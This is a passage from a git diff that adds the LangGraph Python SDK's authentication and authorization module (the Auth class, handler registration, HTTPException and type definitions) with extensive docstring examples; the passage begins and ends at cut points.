params: QueryParamTypes | None = None, + ) -> Iterator[StreamPart]: + """Get a stream of events for a thread. + + Args: + thread_id: The ID of the thread to get the stream for. + last_event_id: The ID of the last event to get. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + An iterator of stream parts. + + ???+ example "Example Usage" + + ```python + + for chunk in client.threads.join_stream( + thread_id="my_thread_id", + last_event_id="my_event_id", + stream_mode="run_modes", + ): + print(chunk) + ``` + + """ + query_params = { + "stream_mode": stream_mode, + } + if params: + query_params.update(params) + return self.http.stream( + f"/threads/{_quote_path_param(thread_id)}/stream", + "GET", + headers={ + **({"Last-Event-ID": last_event_id} if last_event_id else {}), + **(headers or {}), + }, + params=query_params, + ) diff --git a/libs/sdk-py/langgraph_sdk/auth/__init__.py b/libs/sdk-py/langgraph_sdk/auth/__init__.py new file mode 100644 index 0000000..8c8c6ad --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/auth/__init__.py @@ -0,0 +1,875 @@ +from __future__ import annotations + +import inspect +import typing +from collections.abc import Callable, Sequence + +from langgraph_sdk.auth import exceptions, types + +TH = typing.TypeVar("TH", bound=types.Handler) +AH = typing.TypeVar("AH", bound=types.Authenticator) + + +class Auth: + """Add custom authentication and authorization management to your LangGraph application. + + The Auth class provides a unified system for handling authentication and + authorization in LangGraph applications. It supports custom user authentication + protocols and fine-grained authorization rules for different resources and + actions. + + To use, create a separate python file and add the path to the file to your + LangGraph API configuration file (`langgraph.json`). Within that file, create + an instance of the Auth class and register authentication and authorization + handlers as needed. + + Example `langgraph.json` file: + + ```json + { + "dependencies": ["."], + "graphs": { + "agent": "./my_agent/agent.py:graph" + }, + "env": ".env", + "auth": { + "path": "./auth.py:my_auth" + } + ``` + + Then the LangGraph server will load your auth file and run it server-side whenever a request comes in. + + ???+ example "Basic Usage" + + ```python + from langgraph_sdk import Auth + + my_auth = Auth() + + @my_auth.authenticate + async def authenticate(authorization: str) -> Auth.types.MinimalUserDict: + user = await verify_token(authorization) # Your token verification logic + if not user: + raise Auth.exceptions.HTTPException( + status_code=401, detail="Unauthorized" + ) + return { + "identity": user["id"], + "permissions": user.get("permissions", []), + } + + # Default deny: reject all requests that don't have a specific handler + @my_auth.on + async def deny_all(ctx: Auth.types.AuthContext, value: Any) -> False: + return False + + # Allow users to create threads with their own identity as owner + @my_auth.on.threads.create + async def allow_thread_create( + ctx: Auth.types.AuthContext, value: Auth.types.on.threads.create.value + ): + metadata = value.setdefault("metadata", {}) + metadata["owner"] = ctx.user.identity + + # Allow users to read and search their own threads + @my_auth.on.threads.read + async def allow_thread_read( + ctx: Auth.types.AuthContext, value: Auth.types.on.threads.read.value + ) -> Auth.types.FilterType: + return {"owner": ctx.user.identity} + + @my_auth.on.threads.search + async def allow_thread_search( + ctx: Auth.types.AuthContext, value: Auth.types.on.threads.search.value + ) -> Auth.types.FilterType: + return {"owner": ctx.user.identity} + + # Scope all store operations to the user's namespace + @my_auth.on.store + async def scope_store(ctx: Auth.types.AuthContext, value: Auth.types.on.store.value): + namespace = tuple(value["namespace"]) if value.get("namespace") else () + if not namespace or namespace[0] != ctx.user.identity: + namespace = (ctx.user.identity, *namespace) + value["namespace"] = namespace + ``` + + ???+ note "Request Processing Flow" + + 1. Authentication (your `@auth.authenticate` handler) is performed first on **every request** + 2. For authorization, the most specific matching handler is called: + * If a handler exists for the exact resource and action, it is used (e.g., `@auth.on.threads.create`) + * Otherwise, if a handler exists for the resource with any action, it is used (e.g., `@auth.on.threads`) + * Finally, if no specific handlers match, the global handler is used (e.g., `@auth.on`) + * If no global handler is set, the request is accepted + + This allows you to set default behavior with a global handler while + overriding specific routes as needed. + """ + + __slots__ = ( + "_authenticate_handler", + "_global_handlers", + "_handler_cache", + "_handlers", + "on", + ) + types = types + """Reference to auth type definitions. + + Provides access to all type definitions used in the auth system, + like ThreadsCreate, AssistantsRead, etc.""" + + exceptions = exceptions + """Reference to auth exception definitions. + + Provides access to all exception definitions used in the auth system, + like HTTPException, etc. + """ + + def __init__(self) -> None: + self.on = _On(self) + """Entry point for authorization handlers that control access to specific resources. + + The on class provides a flexible way to define authorization rules for different + resources and actions in your application. It supports three main usage patterns: + + 1. Global handlers that run for all resources and actions + 2. Resource-specific handlers that run for all actions on a resource + 3. Resource and action specific handlers for fine-grained control + + Each handler must be an async function that accepts two parameters: + - ctx (AuthContext): Contains request context and authenticated user info + - value: The data being authorized (type varies by endpoint) + + The handler should return one of: + + - None or True: Accept the request + - False: Reject with 403 error + - FilterType: Apply filtering rules to the response + + ???+ example "Examples" + + Start by denying all requests by default, then add specific handlers + to allow access: + + ```python + # Default deny: reject all unhandled requests + @auth.on + async def deny_all(ctx: AuthContext, value: Any) -> False: + return False + ``` + + Resource-specific handler. This takes precedence over the global handler + for all actions on the `threads` resource: + + ```python + @auth.on.threads + async def allow_thread_access(ctx: AuthContext, value: Any) -> Auth.types.FilterType: + # Only allow access to threads owned by the user + return {"owner": ctx.user.identity} + ``` + + Resource and action specific handler: + + ```python + @auth.on.threads.delete + async def allow_admin_thread_deletion(ctx: AuthContext, value: Any) -> bool: + # Only admins can delete threads + return "admin" in ctx.user.permissions + ``` + + Multiple resources or actions: + + ```python + @auth.on(resources=["threads", "assistants"], actions=["read", "search"]) + async def allow_reads(ctx: AuthContext, value: Any) -> Auth.types.FilterType: + # Allow read/search access to resources owned by the user + return {"owner": ctx.user.identity} + ``` + + Auth for the `store` resource is a bit different since its structure is developer defined. + You typically want to scope store operations by rewriting the namespace to include the user's identity. + The `value` dict is mutable — changes to `value["namespace"]` are used by the server for the actual operation. + + ```python + @auth.on.store + async def scope_store(ctx: AuthContext, value: Auth.types.on.store.value): + # Allow store access but scope to user's namespace + namespace = tuple(value["namespace"]) if value.get("namespace") else () + if not namespace or namespace[0] != ctx.user.identity: + namespace = (ctx.user.identity, *namespace) + value["namespace"] = namespace + ``` + + You can also register handlers for specific store actions: + + ```python + @auth.on.store.put + async def allow_put(ctx: AuthContext, value: Auth.types.on.store.put.value): + # Allow puts, scoped to user's namespace + value["namespace"] = (ctx.user.identity, *value["namespace"]) + + @auth.on.store.get + async def allow_get(ctx: AuthContext, value: Auth.types.on.store.get.value): + # Allow gets, scoped to user's namespace + value["namespace"] = (ctx.user.identity, *value["namespace"]) + ``` + """ + # These are accessed by the API. Changes to their names or types is + # will be considered a breaking change. + self._handlers: dict[tuple[str, str], list[types.Handler]] = {} + self._global_handlers: list[types.Handler] = [] + self._authenticate_handler: types.Authenticator | None = None + self._handler_cache: dict[tuple[str, str], types.Handler] = {} + + def authenticate(self, fn: AH) -> AH: + """Register an authentication handler function. + + The authentication handler is responsible for verifying credentials + and returning user scopes. It can accept any of the following parameters + by name: + + - request (Request): The raw ASGI request object + - path (str): The request path, e.g., "/threads/abcd-1234-abcd-1234/runs/abcd-1234-abcd-1234/stream" + - method (str): The HTTP method, e.g., "GET" + - path_params (dict[str, str]): URL path parameters, e.g., {"thread_id": "abcd-1234-abcd-1234", "run_id": "abcd-1234-abcd-1234"} + - query_params (dict[str, str]): URL query parameters, e.g., {"stream": "true"} + - headers (dict[bytes, bytes]): Request headers + - authorization (str | None): The Authorization header value (e.g., "Bearer ") + + Args: + fn: The authentication handler function to register. + Must return a representation of the user. This could be a: + - string (the user id) + - dict containing {"identity": str, "permissions": list[str]} + - or an object with identity and permissions properties + Permissions can be optionally used by your handlers downstream. + + Returns: + The registered handler function. + + Raises: + ValueError: If an authentication handler is already registered. + + ???+ example "Examples" + + Basic token authentication: + + ```python + @auth.authenticate + async def authenticate(authorization: str) -> str: + user_id = verify_token(authorization) + return user_id + ``` + + Accept the full request context: + + ```python + @auth.authenticate + async def authenticate( + method: str, + path: str, + headers: dict[str, bytes] + ) -> str: + user = await verify_request(method, path, headers) + return user + ``` + + Return user name and permissions: + + ```python + @auth.authenticate + async def authenticate( + method: str, + path: str, + headers: dict[str, bytes] + ) -> Auth.types.MinimalUserDict: + permissions, user = await verify_request(method, path, headers) + # Permissions could be things like ["runs:read", "runs:write", "threads:read", "threads:write"] + return { + "identity": user["id"], + "permissions": permissions, + "display_name": user["name"], + } + ``` + """ + if self._authenticate_handler is not None: + raise ValueError( + f"Authentication handler already set as {self._authenticate_handler}." + ) + self._authenticate_handler = fn + return fn + + +## Helper types & utilities + +V = typing.TypeVar("V", contravariant=True) + + +class _ActionHandler(typing.Protocol[V]): + async def __call__( + self, *, ctx: types.AuthContext, value: V + ) -> types.HandlerResult: ... + + +T = typing.TypeVar("T", covariant=True) + + +class _ResourceActionOn(typing.Generic[T]): + def __init__( + self, + auth: Auth, + resource: typing.Literal["threads", "crons", "assistants"], + action: typing.Literal[ + "create", "read", "update", "delete", "search", "create_run" + ], + value: type[T], + ) -> None: + self.auth = auth + self.resource = resource + self.action = action + self.value = value + + def __call__(self, fn: _ActionHandler[T]) -> _ActionHandler[T]: + _validate_handler(fn) + _register_handler(self.auth, self.resource, self.action, fn) + return fn + + +VCreate = typing.TypeVar("VCreate", covariant=True) +VUpdate = typing.TypeVar("VUpdate", covariant=True) +VRead = typing.TypeVar("VRead", covariant=True) +VDelete = typing.TypeVar("VDelete", covariant=True) +VSearch = typing.TypeVar("VSearch", covariant=True) + + +class _ResourceOn(typing.Generic[VCreate, VRead, VUpdate, VDelete, VSearch]): + """ + Generic base class for resource-specific handlers. + """ + + value: type[VCreate | VUpdate | VRead | VDelete | VSearch] + + Create: type[VCreate] + Read: type[VRead] + Update: type[VUpdate] + Delete: type[VDelete] + Search: type[VSearch] + + def __init__( + self, + auth: Auth, + resource: typing.Literal["threads", "crons", "assistants"], + ) -> None: + self.auth = auth + self.resource = resource + self.create: _ResourceActionOn[VCreate] = _ResourceActionOn( + auth, resource, "create", self.Create + ) + self.read: _ResourceActionOn[VRead] = _ResourceActionOn( + auth, resource, "read", self.Read + ) + self.update: _ResourceActionOn[VUpdate] = _ResourceActionOn( + auth, resource, "update", self.Update + ) + self.delete: _ResourceActionOn[VDelete] = _ResourceActionOn( + auth, resource, "delete", self.Delete + ) + self.search: _ResourceActionOn[VSearch] = _ResourceActionOn( + auth, resource, "search", self.Search + ) + + @typing.overload + def __call__( + self, + fn: ( + _ActionHandler[VCreate | VUpdate | VRead | VDelete | VSearch] + | _ActionHandler[dict[str, typing.Any]] + ), + ) -> _ActionHandler[VCreate | VUpdate | VRead | VDelete | VSearch]: ... + + @typing.overload + def __call__( + self, + *, + resources: str | Sequence[str], + actions: str | Sequence[str] | None = None, + ) -> Callable[ + [_ActionHandler[VCreate | VUpdate | VRead | VDelete | VSearch]], + _ActionHandler[VCreate | VUpdate | VRead | VDelete | VSearch], + ]: ... + + def __call__( + self, + fn: ( + _ActionHandler[VCreate | VUpdate | VRead | VDelete | VSearch] + | _ActionHandler[dict[str, typing.Any]] + | None + ) = None, + *, + resources: str | Sequence[str] | None = None, + actions: str | Sequence[str] | None = None, + ) -> ( + _ActionHandler[VCreate | VUpdate | VRead | VDelete | VSearch] + | Callable[ + [_ActionHandler[VCreate | VUpdate | VRead | VDelete | VSearch]], + _ActionHandler[VCreate | VUpdate | VRead | VDelete | VSearch], + ] + ): + if fn is not None: + _validate_handler(fn) + return typing.cast( + "_ActionHandler[VCreate | VUpdate | VRead | VDelete | VSearch]", + _register_handler(self.auth, self.resource, "*", fn), + ) + + def decorator( + handler: _ActionHandler[VCreate | VUpdate | VRead | VDelete | VSearch], + ) -> _ActionHandler[VCreate | VUpdate | VRead | VDelete | VSearch]: + _validate_handler(handler) + return typing.cast( + "_ActionHandler[VCreate | VUpdate | VRead | VDelete | VSearch]", + _register_handler(self.auth, self.resource, "*", handler), + ) + + # Accept keyword-only parameters for future filtering behavior; referenced to satisfy linters. + _ = resources, actions + return decorator + + +class _AssistantsOn( + _ResourceOn[ + types.AssistantsCreate, + types.AssistantsRead, + types.AssistantsUpdate, + types.AssistantsDelete, + types.AssistantsSearch, + ] +): + value = ( + types.AssistantsCreate + | types.AssistantsRead + | types.AssistantsUpdate + | types.AssistantsDelete + | types.AssistantsSearch + ) + Create = types.AssistantsCreate + Read = types.AssistantsRead + Update = types.AssistantsUpdate + Delete = types.AssistantsDelete + Search = types.AssistantsSearch + + +class _ThreadsOn( + _ResourceOn[ + types.ThreadsCreate, + types.ThreadsRead, + types.ThreadsUpdate, + types.ThreadsDelete, + types.ThreadsSearch, + ] +): + value = ( + types.ThreadsCreate + | types.ThreadsRead + | types.ThreadsUpdate + | types.ThreadsDelete + | types.ThreadsSearch + | types.RunsCreate + ) + Create = types.ThreadsCreate + Read = types.ThreadsRead + Update = types.ThreadsUpdate + Delete = types.ThreadsDelete + Search = types.ThreadsSearch + CreateRun = types.RunsCreate + + def __init__( + self, + auth: Auth, + resource: typing.Literal["threads", "crons", "assistants"], + ) -> None: + super().__init__(auth, resource) + self.create_run: _ResourceActionOn[types.RunsCreate] = _ResourceActionOn( + auth, resource, "create_run", self.CreateRun + ) + + +class _CronsOn( + _ResourceOn[ + types.CronsCreate, + types.CronsRead, + types.CronsUpdate, + types.CronsDelete, + types.CronsSearch, + ] +): + value = type[ + types.CronsCreate + | types.CronsRead + | types.CronsUpdate + | types.CronsDelete + | types.CronsSearch + ] + + Create = types.CronsCreate + Read = types.CronsRead + Update = types.CronsUpdate + Delete = types.CronsDelete + Search = types.CronsSearch + + +class _StoreActionOn(typing.Generic[T]): + """Decorator for registering a handler for a specific store action.""" + + def __init__( + self, + auth: Auth, + action: typing.Literal["put", "get", "search", "delete", "list_namespaces"], + value: type[T], + ) -> None: + self.auth = auth + self.action = action + self.value = value + + def __call__(self, fn: _ActionHandler[T]) -> _ActionHandler[T]: + _validate_handler(fn) + _register_handler(self.auth, "store", self.action, fn) + return fn + + +class _StoreOn: + def __init__(self, auth: Auth) -> None: + self._auth = auth + self.put = _StoreActionOn(auth, "put", types.StorePut) + """Register a handler for store put operations. + + ???+ example "Example" + If using `@auth.on` to deny by default, register this handler to allow + put operations (scoped to the user's namespace): + + ```python + @auth.on.store.put + async def allow_store_put(ctx: Auth.types.AuthContext, value: Auth.types.on.store.put.value): + # Allow puts, scoped to user's namespace + value["namespace"] = (ctx.user.identity, *value["namespace"]) + ``` + """ + self.get = _StoreActionOn(auth, "get", types.StoreGet) + """Register a handler for store get operations. + + ???+ example "Example" + If using `@auth.on` to deny by default, register this handler to allow + get operations (scoped to the user's namespace): + + ```python + @auth.on.store.get + async def allow_store_get(ctx: Auth.types.AuthContext, value: Auth.types.on.store.get.value): + # Allow gets, scoped to user's namespace + value["namespace"] = (ctx.user.identity, *value["namespace"]) + ``` + """ + self.search = _StoreActionOn(auth, "search", types.StoreSearch) + """Register a handler for store search operations. + + ???+ example "Example" + If using `@auth.on` to deny by default, register this handler to allow + search operations (scoped to the user's namespace): + + ```python + @auth.on.store.search + async def allow_store_search(ctx: Auth.types.AuthContext, value: Auth.types.on.store.search.value): + # Allow searches, scoped to user's namespace + value["namespace"] = (ctx.user.identity, *value["namespace"]) + ``` + """ + self.delete = _StoreActionOn(auth, "delete", types.StoreDelete) + """Register a handler for store delete operations. + + ???+ example "Example" + If using `@auth.on` to deny by default, register this handler to allow + delete operations (scoped to the user's namespace): + + ```python + @auth.on.store.delete + async def allow_store_delete(ctx: Auth.types.AuthContext, value: Auth.types.on.store.delete.value): + # Allow deletes, scoped to user's namespace + value["namespace"] = (ctx.user.identity, *value["namespace"]) + ``` + """ + self.list_namespaces = _StoreActionOn( + auth, "list_namespaces", types.StoreListNamespaces + ) + """Register a handler for store list_namespaces operations. + + ???+ example "Example" + If using `@auth.on` to deny by default, register this handler to allow + namespace listing (scoped to the user's prefix): + + ```python + @auth.on.store.list_namespaces + async def allow_list_ns(ctx: Auth.types.AuthContext, value: Auth.types.on.store.list_namespaces.value): + # Allow listing, scoped to user's namespace prefix + value["namespace"] = (ctx.user.identity,) + ``` + """ + + @typing.overload + def __call__( + self, + *, + actions: ( + typing.Literal["put", "get", "search", "list_namespaces", "delete"] + | Sequence[ + typing.Literal["put", "get", "search", "list_namespaces", "delete"] + ] + | None + ) = None, + ) -> Callable[[AHO], AHO]: ... + + @typing.overload + def __call__(self, fn: AHO) -> AHO: ... + + def __call__( + self, + fn: AHO | None = None, + *, + actions: ( + typing.Literal["put", "get", "search", "list_namespaces", "delete"] + | Sequence[ + typing.Literal["put", "get", "search", "list_namespaces", "delete"] + ] + | None + ) = None, + ) -> AHO | Callable[[AHO], AHO]: + """Register a handler for specific resources and actions. + + Can be used as a decorator or with explicit resource/action parameters: + + @auth.on.store + async def handler(): ... # Handle all store ops + + @auth.on.store(actions=("put", "get", "search", "delete")) + async def handler(): ... # Handle specific store ops + + @auth.on.store.put + async def handler(): ... # Handle store.put ops + """ + if fn is not None: + # Used as a plain decorator + _register_handler(self._auth, "store", None, fn) + return fn + + # Used with parameters, return a decorator + def decorator( + handler: AHO, + ) -> AHO: + if isinstance(actions, str): + action_list = [actions] + else: + action_list = list(actions) if actions is not None else ["*"] + for action in action_list: + _register_handler(self._auth, "store", action, handler) + return handler + + return decorator + + +AHO = typing.TypeVar("AHO", bound=_ActionHandler[dict[str, typing.Any]]) + + +class _On: + """Entry point for authorization handlers that control access to specific resources. + + The _On class provides a flexible way to define authorization rules for different resources + and actions in your application. It supports three main usage patterns: + + 1. Global handlers that run for all resources and actions + 2. Resource-specific handlers that run for all actions on a resource + 3. Resource and action specific handlers for fine-grained control + + Each handler must be an async function that accepts two parameters: + - ctx (AuthContext): Contains request context and authenticated user info + - value: The data being authorized (type varies by endpoint) + + The handler should return one of: + - None or True: Accept the request + - False: Reject with 403 error + - FilterType: Apply filtering rules to the response + + ???+ example "Examples" + + Start by denying all requests by default with a global handler, + then add specific handlers to allow access: + + ```python + # Default deny: reject all requests without a specific handler + @auth.on + async def deny_all(ctx: AuthContext, value: Any) -> False: + return False + ``` + + Resource-specific handler to allow access (takes precedence + over the global deny handler): + + ```python + @auth.on.threads + async def allow_thread_access(ctx: AuthContext, value: Any) -> Auth.types.FilterType: + # Allow access only to threads owned by the user + return {"owner": ctx.user.identity} + ``` + + Resource and action specific handler: + + ```python + @auth.on.threads.create + async def allow_thread_create(ctx: AuthContext, value: Any) -> None: + # Allow thread creation, stamping the owner + value.setdefault("metadata", {})["owner"] = ctx.user.identity + ``` + + Multiple resources or actions: + + ```python + @auth.on(resources=["threads", "assistants"], actions=["read", "search"]) + async def allow_reads(ctx: AuthContext, value: Any) -> Auth.types.FilterType: + # Allow read/search, scoped to user's resources + return {"owner": ctx.user.identity} + ``` + """ + + __slots__ = ( + "_auth", + "assistants", + "crons", + "runs", + "store", + "threads", + "value", + ) + + def __init__(self, auth: Auth) -> None: + self._auth = auth + self.assistants = _AssistantsOn(auth, "assistants") + self.threads = _ThreadsOn(auth, "threads") + self.crons = _CronsOn(auth, "crons") + self.store = _StoreOn(auth) + self.value = dict[str, typing.Any] + + @typing.overload + def __call__( + self, + *, + resources: str | Sequence[str], + actions: str | Sequence[str] | None = None, + ) -> Callable[[AHO], AHO]: ... + + @typing.overload + def __call__(self, fn: AHO) -> AHO: ... + + def __call__( + self, + fn: AHO | None = None, + *, + resources: str | Sequence[str] | None = None, + actions: str | Sequence[str] | None = None, + ) -> AHO | Callable[[AHO], AHO]: + """Register a handler for specific resources and actions. + + Can be used as a decorator or with explicit resource/action parameters: + + @auth.on + async def handler(): ... # Global handler + + @auth.on(resources="threads") + async def handler(): ... # types.Handler for all thread actions + + @auth.on(resources="threads", actions="create") + async def handler(): ... # types.Handler for thread creation + """ + if fn is not None: + # Used as a plain decorator + _register_handler(self._auth, None, None, fn) + return fn + + # Used with parameters, return a decorator + def decorator( + handler: AHO, + ) -> AHO: + if isinstance(resources, str): + resource_list = [resources] + else: + resource_list = list(resources) if resources is not None else ["*"] + + if isinstance(actions, str): + action_list = [actions] + else: + action_list = list(actions) if actions is not None else ["*"] + for resource in resource_list: + for action in action_list: + _register_handler(self._auth, resource, action, handler) + return handler + + return decorator + + +def _register_handler( + auth: Auth, + resource: str | None, + action: str | None, + fn: types.Handler, +) -> types.Handler: + _validate_handler(fn) + resource = resource or "*" + action = action or "*" + if resource == "*" and action == "*": + if auth._global_handlers: + raise ValueError("Global handler already set.") + auth._global_handlers.append(fn) + else: + r = resource if resource is not None else "*" + a = action if action is not None else "*" + if (r, a) in auth._handlers: + raise ValueError(f"types.Handler already set for {r}, {a}.") + auth._handlers[(r, a)] = [fn] + return fn + + +def _validate_handler(fn: Callable[..., typing.Any]) -> None: + """Validates that an auth handler function meets the required signature. + + Auth handlers must: + 1. Be async functions + 2. Accept a ctx parameter of type AuthContext + 3. Accept a value parameter for the data being authorized + """ + if not inspect.iscoroutinefunction(fn): + raise ValueError( + f"Auth handler '{getattr(fn, '__name__', fn)}' must be an async function. " + "Add 'async' before 'def' to make it asynchronous and ensure" + " any IO operations are non-blocking." + ) + + sig = inspect.signature(fn) + if "ctx" not in sig.parameters: + raise ValueError( + f"Auth handler '{getattr(fn, '__name__', fn)}' must have a 'ctx: AuthContext' parameter. " + "Update the function signature to include this required parameter." + ) + if "value" not in sig.parameters: + raise ValueError( + f"Auth handler '{getattr(fn, '__name__', fn)}' must have a 'value' parameter. " + " The value contains the mutable data being sent to the endpoint." + "Update the function signature to include this required parameter." + ) + + +def is_studio_user( + user: types.MinimalUser | types.BaseUser | types.MinimalUserDict, +) -> bool: + return isinstance(user, types.StudioUser) or ( + isinstance(user, dict) and user.get("kind") == "StudioUser" + ) + + +__all__ = ["Auth", "exceptions", "types"] diff --git a/libs/sdk-py/langgraph_sdk/auth/exceptions.py b/libs/sdk-py/langgraph_sdk/auth/exceptions.py new file mode 100644 index 0000000..594939e --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/auth/exceptions.py @@ -0,0 +1,59 @@ +"""Exceptions used in the auth system.""" + +from __future__ import annotations + +import http +from collections.abc import Mapping + + +class HTTPException(Exception): + """HTTP exception that you can raise to return a specific HTTP error response. + + Since this is defined in the auth module, we default to a 401 status code. + + Args: + status_code: HTTP status code for the error. Defaults to 401 "Unauthorized". + detail: Detailed error message. If `None`, uses a default + message based on the status code. + headers: Additional HTTP headers to include in the error response. + + Example: + Default: + ```python + raise HTTPException() + # HTTPException(status_code=401, detail='Unauthorized') + ``` + + Add headers: + ```python + raise HTTPException(headers={"X-Custom-Header": "Custom Value"}) + # HTTPException(status_code=401, detail='Unauthorized', headers={"WWW-Authenticate": "Bearer"}) + ``` + + Custom error: + ```python + raise HTTPException(status_code=404, detail="Not found") + ``` + """ + + def __init__( + self, + status_code: int = 401, + detail: str | None = None, + headers: Mapping[str, str] | None = None, + ) -> None: + if detail is None: + detail = http.HTTPStatus(status_code).phrase + self.status_code = status_code + self.detail = detail + self.headers = headers + + def __str__(self) -> str: + return f"{self.status_code}: {self.detail}" + + def __repr__(self) -> str: + class_name = self.__class__.__name__ + return f"{class_name}(status_code={self.status_code!r}, detail={self.detail!r})" + + +__all__ = ["HTTPException"] diff --git a/libs/sdk-py/langgraph_sdk/auth/types.py b/libs/sdk-py/langgraph_sdk/auth/types.py new file mode 100644 index 0000000..8421187 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/auth/types.py @@ -0,0 +1,1162 @@ +"""Authentication and authorization types for LangGraph. + +This module defines the core types used for authentication, authorization, and +request handling in LangGraph. It includes user protocols, authentication contexts, +and typed dictionaries for various API operations. + +Note: + All typing.TypedDict classes use total=False to make all fields typing.Optional by default. +""" + +from __future__ import annotations + +import typing +from collections.abc import Awaitable, Callable, Sequence +from dataclasses import dataclass +from datetime import datetime +from uuid import UUID + +import typing_extensions + +RunStatus = typing.Literal["pending", "error", "success", "timeout", "interrupted"] +"""Status of a run execution. + +Values: + - pending: Run is queued or in progress + - error: Run failed with an error + - success: Run completed successfully + - timeout: Run exceeded time limit + - interrupted: Run was manually interrupted +""" + +MultitaskStrategy = typing.Literal["reject", "rollback", "interrupt", "enqueue"] +"""Strategy for handling multiple concurrent tasks. + +Values: + - reject: Reject new tasks while one is in progress + - rollback: Cancel current task and start new one + - interrupt: Interrupt current task and start new one + - enqueue: Queue new tasks to run after current one +""" + +OnConflictBehavior = typing.Literal["raise", "do_nothing"] +"""Behavior when encountering conflicts. + +Values: + - raise: Raise an exception on conflict + - do_nothing: Silently ignore conflicts +""" + +IfNotExists = typing.Literal["create", "reject"] +"""Behavior when an entity doesn't exist. + +Values: + - create: Create the entity + - reject: Reject the operation +""" + +FilterType = ( + dict[ + str, + str + | dict[typing.Literal["$eq", "$contains"], str] + | dict[typing.Literal["$contains"], list[str]], + ] + | dict[str, str] +) +"""Response type for authorization handlers. + +Supports exact matches and operators: + - Exact match shorthand: {"field": "value"} + - Exact match: {"field": {"$eq": "value"}} + - Contains (membership): {"field": {"$contains": "value"}} + - Contains (subset containment): {"field": {"$contains": ["value1", "value2"]}} + +Subset containment is only supported by newer versions of the LangGraph dev server; +install langgraph-runtime-inmem >= 0.14.1 to use this filter variant. + +???+ example "Examples" + + Simple exact match filter for the resource owner: + + ```python + filter = {"owner": "user-abcd123"} + ``` + + Explicit version of the exact match filter: + + ```python + filter = {"owner": {"$eq": "user-abcd123"}} + ``` + + Containment (membership of a single element): + + ```python + filter = {"participants": {"$contains": "user-abcd123"}} + ``` + + Containment (subset containment; all values must be present, but order doesn't matter): + + ```python + filter = {"participants": {"$contains": ["user-abcd123", "user-efgh456"]}} + ``` + + Combining filters (treated as a logical `AND`): + + ```python + filter = {"owner": "user-abcd123", "participants": {"$contains": "user-efgh456"}} + ``` +""" + +ThreadStatus = typing.Literal["idle", "busy", "interrupted", "error"] +"""Status of a thread. + +Values: + - idle: Thread is available for work + - busy: Thread is currently processing + - interrupted: Thread was interrupted + - error: Thread encountered an error +""" + +MetadataInput = dict[str, typing.Any] +"""Type for arbitrary metadata attached to entities. + +Allows storing custom key-value pairs with any entity. +Keys must be strings, values can be any JSON-serializable type. + +???+ example "Examples" + + ```python + metadata = { + "created_by": "user123", + "priority": 1, + "tags": ["important", "urgent"] + } + ``` +""" + +HandlerResult = None | bool | FilterType +"""The result of a handler can be: + * None | True: accept the request. + * False: reject the request with a 403 error + * FilterType: filter to apply +""" + +Handler = Callable[..., Awaitable[HandlerResult]] + +T = typing.TypeVar("T") + + +@typing.runtime_checkable +class MinimalUser(typing.Protocol): + """User objects must at least expose the identity property.""" + + @property + def identity(self) -> str: + """The unique identifier for the user. + + This could be a username, email, or any other unique identifier used + to distinguish between different users in the system. + """ + ... + + +class MinimalUserDict(typing.TypedDict, total=False): + """The dictionary representation of a user.""" + + identity: typing_extensions.Required[str] + """The required unique identifier for the user.""" + display_name: str + """The typing.Optional display name for the user.""" + is_authenticated: bool + """Whether the user is authenticated. Defaults to True.""" + permissions: Sequence[str] + """A list of permissions associated with the user. + + You can use these in your `@auth.on` authorization logic to determine + access permissions to different resources. + """ + + +@typing.runtime_checkable +class BaseUser(typing.Protocol): + """The base ASGI user protocol""" + + @property + def is_authenticated(self) -> bool: + """Whether the user is authenticated.""" + ... + + @property + def display_name(self) -> str: + """The display name of the user.""" + ... + + @property + def identity(self) -> str: + """The unique identifier for the user.""" + ... + + @property + def permissions(self) -> Sequence[str]: + """The permissions associated with the user.""" + ... + + def __getitem__(self, key): + """Get a key from your minimal user dict.""" + ... + + def __contains__(self, key): + """Check if a property exists.""" + ... + + def __iter__(self): + """Iterate over the keys of the user.""" + ... + + +class StudioUser: + """A user object that's populated from authenticated requests from the LangGraph studio. + + Note: Studio auth can be disabled in your `langgraph.json` config. + + ```json + { + "auth": { + "disable_studio_auth": true + } + } + ``` + + You can use `isinstance` checks in your authorization handlers (`@auth.on`) to control access specifically + for developers accessing the instance from the LangGraph Studio UI. + + ???+ example "Examples" + + Use `@auth.on` to deny by default, but allow Studio users through: + + ```python + @auth.on + async def deny_all_except_studio(ctx: Auth.types.AuthContext, value: Any) -> bool: + # Allow Studio users, deny everyone else by default + if isinstance(ctx.user, Auth.types.StudioUser): + return True + return False + + # Then add specific handlers to allow access for non-Studio users + @auth.on.threads + async def allow_thread_access(ctx: Auth.types.AuthContext, value: Any) -> Auth.types.FilterType: + return {"owner": ctx.user.identity} + ``` + """ + + __slots__ = ("_is_authenticated", "_permissions", "username") + + def __init__(self, username: str, is_authenticated: bool = False) -> None: + self.username = username + self._is_authenticated = is_authenticated + self._permissions = ["authenticated"] if is_authenticated else [] + + @property + def is_authenticated(self) -> bool: + return self._is_authenticated + + @property + def display_name(self) -> str: + return self.username + + @property + def identity(self) -> str: + return self.username + + @property + def permissions(self) -> Sequence[str]: + return self._permissions + + +Authenticator = Callable[ + ..., + Awaitable[ + MinimalUser + | str + | BaseUser + | MinimalUserDict + | typing.Mapping[str, typing.Any], + ], +] +"""Type for authentication functions. + +An authenticator can return either: +1. A string (user_id) +2. A dict containing {"identity": str, "permissions": list[str]} +3. An object with identity and permissions properties + +Permissions can be used downstream by your authorization logic to determine +access permissions to different resources. + +The authenticate decorator will automatically inject any of the following parameters +by name if they are included in your function signature: + +Parameters: + request (Request): The raw ASGI request object + body (dict): The parsed request body + path (str): The request path + method (str): The HTTP method (GET, POST, etc.) + path_params (dict[str, str] | None): URL path parameters + query_params (dict[str, str] | None): URL query parameters + headers (dict[str, bytes] | None): Request headers + authorization (str | None): The Authorization header value (e.g. "Bearer ") + +???+ example "Examples" + + Basic authentication with token: + + ```python + from langgraph_sdk import Auth + + auth = Auth() + + @auth.authenticate + async def authenticate1(authorization: str) -> Auth.types.MinimalUserDict: + return await get_user(authorization) + ``` + + Authentication with multiple parameters: + + ``` + @auth.authenticate + async def authenticate2( + method: str, + path: str, + headers: dict[str, bytes] + ) -> Auth.types.MinimalUserDict: + # Custom auth logic using method, path and headers + user = verify_request(method, path, headers) + return user + ``` + + Accepting the raw ASGI request: + + ```python + MY_SECRET = 